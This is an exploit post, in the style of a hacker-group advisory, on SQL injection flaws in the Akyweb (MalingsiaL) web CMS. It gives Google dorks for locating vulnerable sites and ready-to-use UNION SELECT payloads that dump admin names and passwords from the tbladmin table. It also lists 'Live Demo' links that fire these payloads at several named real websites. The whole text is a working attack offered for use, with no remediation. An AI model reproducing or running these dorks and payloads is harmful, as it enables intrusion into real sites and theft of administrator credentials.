Akyweb (MalingsiaL) Multiple SQL Injection Vulnerabilities

+ Akyweb (MalingsiaL) Multiple SQL Injection Vulnerabilities +
+ Author : M3NW5
+ contach : M3NW5@hackermail.com
+ GreetZ : IndonesianCoder . ServerIsDown . SurabayaHackerLink


Open with Google malay.and search from malay page

--== Dork ==--
"Akyweb" inurl:news_details.php?pid=

[+] Exploit
/news_details.php?pid=-1%20union%20select%201,2,a_name,4,a_pwd,6,7,8,9+from+tbladmin--
[+] Live Demo
http://www.feishengamulets.com/news_details.php?pid=-1%20union%20select%201,2,a_name,4,a_pwd,6,7,8,9+from+tbladmin--

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

--== Dork ==--
"Akyweb" inurl:pproduct_detail.php?pid=

[+] Exploit
/pproduct_detail.php?pid=-2 union select 1,2,3,a_name,a_pwd,6,7,8,9,10,11,12,13,14,15+from+tbladmin--

[+] Live Demo
http://www.kursuslintah.com//pproduct_detail.php?pid=-2%20union%20select%201,2,3,a_name,a_pwd,6,7,8,9,10,11,12,
13,14,15+from+tbladmin--

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

--== Dork ==--
"Akyweb" inurl:product_detail.php?pid=

[+] Exploit 1
product_detail.php?pid=-39%20union%20select%201,2,3,4,concat_ws(0x3a,a_name,a_pwd),6,
7,8,9,10,11,12+from+tbladmin--

[+] Live Demo
http://tanamanbunga.com/product_detail.php?pid=-39%20union%20select%201,2,3,4,concat_ws(0x3a,a_name,a_pwd),6,
7,8,9,10,11,12+from+tbladmin--

[+] Exploit 2
product_detail.php?pid=-39%20union%20select%201,2,3,4,concat_ws(0x3a,a_name,a_pwd),6,7,
8,concat_ws(0x3a,a_name,a_pwd),10,11,12+from+tbladmin--

[+] Live Demo
http://www.beaverswim.com/product_detail.php?pid=-39%20union%20select%201,2,3,4,concat_ws(0x3a,a_name,a_pwd),6,7,
8,concat_ws(0x3a,a_name,a_pwd),10,11,12+from+tbladmin--